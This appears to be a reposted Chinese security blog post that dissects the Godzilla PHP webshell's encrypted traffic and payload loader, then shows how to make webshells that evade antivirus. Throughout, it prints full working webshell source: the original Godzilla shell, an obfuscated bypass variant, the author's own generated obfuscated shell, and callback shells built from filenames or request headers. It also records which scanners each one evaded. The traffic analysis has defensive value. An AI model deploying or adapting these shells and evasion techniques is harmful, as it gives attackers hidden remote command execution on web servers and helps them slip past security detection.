哥斯拉木马解析 + bypass 免杀代码分析+回调webshell

目录

 抓包分析

 测试连接

第一个包

第二个包

第三个包

进入控制台

第三个包

请求

返回

木马的解析

第一次链接

第二次链接

payload集合

run

reDefSystemFunc()

自写免杀

通过文件名 构造字符

通过请求头实现

php7.3

php5.2

PHP5.3

PHP 7.0.0


这里也是跟着大佬走的 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户

php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云

webshell免杀过阿里云PHP | 藏青's BLOG

这里首先我是去看了看bypass 学习一下

GitHub - Tas9er/ByPassGodzilla: 哥斯拉WebShell免杀生成 / Code By:Tas9er

然后我们就可以发现对比

我这里将混淆什么的都去掉

<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting(Chr("48"));
function m($a,$b){
    for($c=Chr("48");$c<strlen($a);$c++) {
        $d = $b[$c+Chr("49")&15];
        $a[$c] = $a[$c]^$d;
    }
    return $a;
}
$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");   #组合为base64_decode的字符串

$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ=="));   #这里是组合为密码Tas9er  通过异或和两次base解码

$h='p'.$e($e("WVhsc2IyRms="));  #这里组合为 payload
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940
$j=("!"^"@").'ss'.Chr("101").'rs';
$j++;
#这种组合方式很奇特 组合为 assert



   #判断是否存在post参数 接受密码
    $k=m($e("cGhwaW5mbygpOw=="),$i); 
    echo "</br>";  #首先base64解码 参数 ,然后通过 传递 fe593a30e2a20940 和
    echo $k;
    if (isset($_SESSION[$h])){
        echo "</br>";
        echo "isset";
        $l=m($_SESSION[$h],$i);
        echo $l;
        if (strpos($l,'getBasicsInfo')===false){
            echo "yes";
            $l=m($l,$i);
        }
                define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l);
                $j(baiduoZObP4MMk);
        echo substr(md5($g.$i),Chr("48"),16);
        // echo $f(m(@run($k),$i));
        echo substr(md5($g.$i),16);
    }else{
        echo "</br>";
        var_dump(strpos($k,'getBasicsInfo'));
        if (strpos($k,'getBasicsInfo')!==false){

            echo "noisset";
            $_SESSION[$h]=m($k,$i);
        }
    }
?>

下面是原版的哥斯拉

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        echo '</br>';
        echo "yes";
        echo '</br>';
        echo $data;
        echo '</br>';
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            echo '</br>';
            echo "yes222";
            echo '</br>';
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            echo '</br>';
            echo "yes1222";
            echo '</br>';
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

能发现 确实通过特殊的编码和对字符串的处理,实现bypass

落地的时候

确实火绒扫不出来

我们将两种放到 阿里云中查看一下

阿里云恶意文件检测平台

可以发现已经被识别到了(肯定是被抓特征了)

这里我们首先就开始分析一下哥斯拉的php木马

类别是 php xor base64

这里是基本的代码查看 这里有些是我自己加上去进行判断的

这里给出一下大致流程

顺便给出session的解释Session详解,学习Session,这篇文章就够了(包含底层分析和使用)_session级别-CSDN博客

 抓包分析

首先配置代理 流到bp 然后看一下

bp进行抓取即可

首先进行测试链接

 可以发现有3个请求包

这里首先给出解密脚本

#请求包/返回包的解密脚本

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 返回包数据去掉前十六位和后十六位然后解密 报错删除 gzdcode 尝试
echo gzdecode(encode(base64_decode(urldecode('DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ%3D%3D')),$key));


如果报错

删除 gzdecode 函数即可

 测试连接

第一个包

 首先看第一个 没有返回值 但是是一大串的请求包

 这里我们首先关注一下cookie 可以发现 在发送请求包的时候 是没有cookie 的 说明是第一次链接

这个时候 session还没有产生 不会记录会话

但是返回包 出现了sessionid

设定了cookie

这里加密的请求 是一个 payload 的集合 是保存了 哥斯拉执行命令的内容

这里发送了所有执行函数 后续就不需要传递函数 只需要传递 函数名和执行的参数即可实现

第二个包

这里发现都已经带上了 sessionid

我们解密查看

methodName g_close

返回包

我们需要对返回包进行处理

11cd6a8758984163fL1tMGI4YTljOv79NDQm7r9PZzBiOA==6c37ac826a2a04bc


删除前面16 后面 16

fL1tMGI4YTljOv79NDQm7r9PZzBiOA==  

然后进行解密

 能够发现 只是回显 ok

第三个包

和上面一个一模一样的

所以我们进行测试 可以发现 只是对是否可以回显进行测试

现在我们进入

进入控制台

在哥斯拉点击进入的时候

 一样是3个包

可以发现 第一个又是设置cookie 和函数的请求包 并且没有回显

可以发现第二个包 也是一样的 前两个都是完全一样的包

第三个包

发现不是一样的 我们进行解密

请求
getBasicsInfo
返回

删除前16 后16

fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI=

这里其实已经可以发现 F开头就是 需要gzdcode

这里需要删除上面的url编码

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI='),$key));

可以发现回显的是基本信息

这个时候我们进行一次命令执行

cmdLine.cmd /c "cd /d "D:/phpstudy_pro/WWW/"&dir" 2>&1methodName
                                                                execCommand

 请求包是上面的内容

下面是返回包

        

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOmYKzEO6yQDpcGx2ljzhGVXq6WHzdB1/7BZJvWM/F+ZMWoUsjZHag7M4d+Oad19Fd4/8XNInjz92TCfJoOO14dOn4Kb+mbHByv3AkkjklCS/2Q2GM0VeB1YBnA1QxVYLmJVSWloEU8c2YQZMpiBPaUGVdZYGRUYlMCVFBG5nL2n59WL17LN7QgVKFdd6btFFkdZis5WjvQzR69ybv8/amYSIhQIgejJ2tRmRAlLHWgFTnVFYUMFQC1LEgJ3chPpzPDV9q1oZAmI2ZQ=='),$key));

同样需要删除 urldecode

发现就是命令执行

木马的解析

这里我们来开始继续查看木马的解析了

最好不要一上来就看木马 不然有点看不明白 我确实是这样的

我们就拿最基本的木马来查看

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

这里开始区分

首先我们查看 定义了3个变量 密码 payload 的名字 还有秘钥

我们首先查看这里

其他都没得说的 就key值
 

我们原本的key = key

md5加密后为3c6e0b8a9c15224a8228b9a98ca1531d

这里的值为3c6e0b8a9c15224a

可以发现是取前16位

 然后我们看下面

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

第一次链接

这里其实就是查看有没有数据传入 

如果有 参数是不是 pass

然后这里查看 session[payload是否存在] //对应了第一次链接

我们可以进行查看

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    var_dump($_SESSION[$payloadName]);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
            var_dump($payload);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

可以发现 输出了 null 说明没有这里的原因 是这个时候 还没有设置session  payload(函数集合)  还没有传入

然后我们查看下面的else

else{
        if (strpos($data,"getBasicsInfo")!==false){  // 不存在 getbaseinfo 的时候
            $_SESSION[$payloadName]=encode($data,$key);  //将 session[payload]通过加密传入
        }
    }

这里我们可以进行输出

发现 请求包的 payload 函数都已经被存入session中了

这里就是第一次链接的时候

第二次链接

我们来查看已经有session的时候的操作

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);  //首先解密 数据
//string(19) "methodName 这个是解密第二个请求包的内容

    if (isset($_SESSION[$payloadName])){   //这个时候存在session了 就进入这个判断

//将payload解密用于操作(函数集合)

        $payload=encode($_SESSION[$payloadName],$key);

        if (strpos($payload,"getBasicsInfo")===false){

//这里是判断 payload集合中是否存在 getBasicsInfo 的内容 但是一般都是有的

            $payload=encode($payload,$key);

        }
		eval($payload);  //执行命令
        echo substr(md5($pass.$key),0,16);  //可以发信啊这里输出md5和key结合的0-16
        echo base64_encode(encode(@run($data),$key));  这里的run函数是在payload 里面
        echo substr(md5($pass.$key),16); //这里是 最后16 
// 这里就是为什么返回包需要删除前面16 后面 16 


    }

 这样 最简单的哥斯拉木马 我们就分析完了 也明白了 为什么哥斯拉比蚁剑 用的多 是因为 流量加密(但是现在也相当于不加密了)

payload集合

这里我们分析一下payload集合

这里为了方便 直接使用 蓝队解析工具

https://github.com/abc123info/BlueTeamTools

大家自行解密吧 因为如果把代码贴在上面 太长了

我们主要解析一下run函数

run

function run($pms){
    global $ERRMSG;

    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }
    $result=@evalFunc();
    if ($result==null||$result===false){
        $result=$ERRMSG;
    }

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }
    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}

这里是run函数的内容

可以看到立马就进入了一个函数

reDefSystemFunc()

function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {  //判断如果函数不存在就创建函数
        function file_get_contents($file) {
            $f = @fopen($file,"rb");  // 只读打开文件
            $contents = false;
            if ($f) {      //如果打开了
                do { $contents .= fgets($f,1024*1024); } while (!feof($f));
//就讲二进制只读文件 存入变量 contents中 每次读取1 M 当文件读取完后
            }
            fclose($f);
            return $contents;
        }
    }



    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)  // 窗机爱你gzdeocde函数 返回值的 10-末尾第8
        {// 然后通过gzinflate 返回gzip解压后的数据    
            return gzinflate(substr($data,10,-8));
        }
    }
    if (!function_exists("sys_get_temp_dir")){
        function sys_get_temp_dir(){
            $SCRIPT_FILENAME=dirname(__FILE__);
            if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
                return "C:/Windows/Temp/";  // 很显然 判断是什么系统 如果不是 / 开头就是win
            }else{
                return "/tmp/";
            }
        }
    }
    if (!function_exists("getmygid")){
        function getmygid(){
            return 0; 
        }
    }
    if (!function_exists("scandir")){
        function scandir($directory){
            $dh  = opendir($directory); //    打开目录
            if ($dh!==false){ //如果没有失败
                $files=array(); 
                while (false !== ($filename = readdir($dh))) {
//遍历目录
                    $files[] = $filename;  //加入数组
                }
                @closedir($dh);  然后关闭
                return $files; 返回目录值
            }
            return false;
        }
    }
    if (!function_exists("file_put_contents")){
        function file_put_contents($fileName, $data){  //写文件
            $handle=fopen($fileName,"wb");
            if ($handle!==false){
                $len=fwrite($handle,$data);
                return $len;
                @fclose($handle);
            }else{
                return false;
            }
        }
    }
    if (!function_exists("is_executable")){    
        function is_executable($fileName){
            return false;
        }
    }

}

然后我们就回到run


    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }

下面可以发现是 哥斯拉中的 操作

这里大致就分析完了 这里哥斯拉内部java的 还不够格分析 所以先不看了

这里继续分析一下 bypassWebshell

就是上面的bypass

看完哥斯拉 就可以知道 其实就是对字符串处理

<?pHP   //这里php都进行了混淆
@session_start();
@set_time_limit(Chr("48"));  // chr(48) = 0  所以@set_time_limit(0);  这里就是一直执行
@error_reporting(Chr("48"));   //@error_reporting(0); 不报错

function m($a,$b){
    for($c=Chr("48");$c<strlen($a);$c++) {  // 首先进行混淆 $c = 0
        $d = $b[$c+Chr("49")&15];    // $b[$c+1&15] chr 也混淆
        $a[$c] = $a[$c]^$d;
    }
    return $a;
}

下面就是一些定义

$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");   #组合为base64_decode的字符串

$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ=="));   #这里是组合为密码Tas9er  通过异或和两次base解码

$h='p'.$e($e("WVhsc2IyRms="));  #这里组合为 payload 后续 $_session[payload]
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940  
#fe593a30e2a2094033ea0efdb879191a 这个是密钥 2lCh 的MD5加密 取前面16位

$j=("!"^"@").'ss'.Chr("101").'rs'; #这里是我惊讶的 通过异或 然后 ++ 获取危险函数 assert
$j++;



   #判断是否存在post参数 接受密码
    $k=m($e("cGhwaW5mbygpOw=="),$i); 
    #解密 base64解密 + 哥斯拉的解密方式
    if (isset($_SESSION[$h])){
        $l=m($_SESSION[$h],$i);
        if (strpos($l,'getBasicsInfo')===false){  
            $l=m($l,$i);
        }
                define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l); //这里通过拼接 
//前面是 // baidu0EKclqRbZ5y  \r\n就换行 然后就可以注释掉上面的baidu
                $j(baiduoZObP4MMk); 这里就是执行
        echo substr(md5($g.$i),Chr("48"),16);
        // echo $f(m(@run($k),$i));  然后就是输出
        echo substr(md5($g.$i),16);
    }else{
        echo "</br>";
        var_dump(strpos($k,'getBasicsInfo'));
        if (strpos($k,'getBasicsInfo')!==false){

            echo "noisset";
            $_SESSION[$h]=m($k,$i);
        }
    }
?>

看了上面 发现确实不是很难 就是通过字符串进行各种绕过

下面可以学习写一下

自写免杀

首先就是生成 模板 就是哥斯拉的 webshell

然后开始写即可

<h2>webshell create by Xioaruan</h2>
<h1>
<pre>


														/***
														*        o                 o    
														*       d8b               d8b   
														*      d888b             d888b  
														*     d8P"Y8b           d8P"Y8b 
														*                               
														*                               
														*                               
														*             88888888          
														*                               
														*                               
														*                               
														*/

  </pre>
</h1>
<?php
@session_start();
@set_time_limit(ChR('48'));
@error_reporting(cHr('48'));
function ynpc__fDYAIBzxMu($ynpc__fDYAIBzxMu0,$ynpc__fDYAIBzxMu0m){
    for($ynpc__fDYAIBzxMu0mN=ChR('48');$ynpc__fDYAIBzxMu0mN<strlen($ynpc__fDYAIBzxMu0);$ynpc__fDYAIBzxMu0mN++) {
        $ynpc__fDYAIBzxMu0mNG = $ynpc__fDYAIBzxMu0m[$ynpc__fDYAIBzxMu0mN+Chr('49')&cHr('49').chR('53')];
        $ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN] = $ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN]^$ynpc__fDYAIBzxMu0mNG;
    }
    return $ynpc__fDYAIBzxMu0;
}
$ynpc__fDYAIBzxMu0mNGm=~urldecode('%A7').~urldecode('%96').~urldecode('%90').~urldecode('%9E');
$ynpc__fDYAIBzxMu0mNGmU=~urldecode("%8F%9E%86%93%90%9E%9B");
$ynpc__payPrJY2tcPdGhqhP='4301ac422369e5c3';
$_='_'.('~'^'.').('`'^'/').('('^'{').('('^'|');
$ynpc__cqmTy9V9A8bZCANqW9yVS=Chr('83');
$ynpc__aYlPKSQKuwdhFNgmuw=$$_;
$ynpc__cqmTy9V9A8bZCANqW9yVS4=('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
if (isset($ynpc__aYlPKSQKuwdhFNgmuw/*fDYAIBzxMu0mNGmU*/[$ynpc__fDYAIBzxMu0mNGm])){
    $ynpc__aYlPKSQKuwdhFNgmuwq=ynpc__fDYAIBzxMu(base64_decode($ynpc__aYlPKSQKuwdhFNgmuw[$ynpc__fDYAIBzxMu0mNGm]),$ynpc__payPrJY2tcPdGhqhP);
    if (isset($_SESSION[$ynpc__fDYAIBzxMu0mNGmU])){
        $ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($_SESSION[$ynpc__fDYAIBzxMu0mNGmU],$ynpc__payPrJY2tcPdGhqhP);
        if (strpos($ynpc__cqmTy9V9A8bZCANqW9yV,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))===false){
            $ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($ynpc__cqmTy9V9A8bZCANqW9yV,$ynpc__payPrJY2tcPdGhqhP);
        }
		$ynpc__cqmTy9V9A8bZCANqW9yVS4($ynpc__cqmTy9V9A8bZCANqW9yV);
        echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),0,16);
        echo base64_encode(ynpc__fDYAIBzxMu(@run($ynpc__aYlPKSQKuwdhFNgmuwq),$ynpc__payPrJY2tcPdGhqhP));
        echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),16);
    }else{
        if (strpos($ynpc__aYlPKSQKuwdhFNgmuwq,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))!==false){
            $_SESSION[$ynpc__fDYAIBzxMu0mNGmU]=ynpc__fDYAIBzxMu($ynpc__aYlPKSQKuwdhFNgmuwq,$ynpc__payPrJY2tcPdGhqhP);
        }
    }
}

通过go 编写了一个php生成的木马 加上了混淆 也是通过一些混淆是结合rce 无数字字母实现的

工具就不放出来了,没啥特别大的作用,只生成php 并且其实还是会被 阿里云的webshell查杀

D_safe为可疑

阿里云直接识别到 assert函数 命令执行了 (太可怕了)

360 火绒 均未查出来

这里就奇了怪了 阿里云怎么这么厉害

结果看到一个文章 说bypass阿里云

webshell免杀过阿里云PHP | 藏青's BLOG

虽然还是被检测出来了 但是这里感觉有点意思 这个木马

我们来学习一下

但是这里到本地的时候 直接就被火绒杀了

通过文件名 构造字符

我们来看看这里是如何实现的

分析一下

​

<?php
$password = "LandGrey";  //密码
$key = substr(__FILE__,-5,-4);  //截取文件字符串 就是截取最后一位
${"LandGrey"} =  $key."Land!";    //这里平凑成 rland
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

123123123123.php

截取到 -4

就是3   .php 是 -4 
        3.php是 -5 

所以取到3

另一个版本

<?php
    function test($a){
        @eval($a);
    }
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

都是通过字符串结尾为r 实现getshell

但是这里如何凑assert 我有点没想到

php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云

或许是可以直接使用吧

如何我们解析一下下面的函数

array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);

这里查一下就知道了 一个回调函数 通过$f 然后 数组 $pasword 和 1都会被调用执行

所以这里我们传入 password后 可以被执行

下面是高级的

通过请求头实现

<?php
    function test($a){
        @eval($a);
    }
$password = "LandGrey";
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

这里是通过Accpet:r 传递参数 实现组合assert

<?php

    function test($a){
        @eval($a);
    }
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-6,-4);
echo $wx;
forward_static_call_array($wx."st", array($_REQUEST[$password]));
?>

下面是通过传递  Referer: teste6123 执行命令
 

forward_static_call_array

前面一个参数为函数名

后面的数组为参数

所以这个情况下 所有都是可以实现的 现在就是思考为什么会被杀

但是让我不可思议的是

<?php
$b = ('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
// echo $b;
    function test($b,$a){
        echo $a;
        $b($a);
    }
$password = "Xioa";
test($b,$_REQUEST[$password]);
?> 

这种明显的 居然没有被杀

这里是回调函数直接被杀了 太离谱了

但是依旧逃不过阿里云 这个webshell查杀 确实很厉害

然后你才怎么着 我又找到一个文章

测试几种实战成功过的webshell的免杀方式 - 先知社区

学到东西咯~

在php7.3版本中 存在不换行执行的特性

php7.3

<?php
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>

php5.2

<?php
\echo `whoami`;?>

PHP5.3

<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>

PHP 7.0.0

<?php
$a = $_GET['function'] ?? 'whoami';
echo $a;
$b = $_GET['cmd'] ?? 'whoami';
echo $b;
$a(null.(null.$b));
?>
http://localhost/111.php?function=assert&cmd=phpinfo();

https://www.cnblogs.com/0daybug/p/16740163.html

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/275654.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ctf_show(web入门笔记)持续更新中

信息收集 1-2&#xff1a;查看源代码 3&#xff1a;bp抓包 4&#xff1a;robots.txt&#xff08;这个文件里会写有网站管理者不想让爬虫的页面或其他&#xff09; 5&#xff1a;网站源代码泄露index.phps 6&#xff1a;同样也是源码泄露&#xff0c;&#xff08;拿到以后还…

JMeter4.0接口测试之案例实战

在前面的知识体系中介绍了Jmeter的基本应用&#xff0c;下来通过具体的案例来看Jmeter在接口测试中的具体案例实战部分。 HTTP是基于应用层的协议&#xff0c;底层的网络传输层它不需要去关心&#xff0c;同时它是一个无状态的协议&#xff0c;它的请求流程具体可以总结为&…

【基础篇】一、认识JVM

文章目录 1、虚拟机2、Java虚拟机3、JVM的整体结构4、Java代码的执行流程5、JVM的三大功能6、JVM的分类7、JVM的生命周期 1、虚拟机 虚拟机&#xff0c;Virtual Machine&#xff0c;一台虚拟的计算机&#xff0c;用来执行虚拟计算机指令。分为&#xff1a; 系统虚拟机&#x…

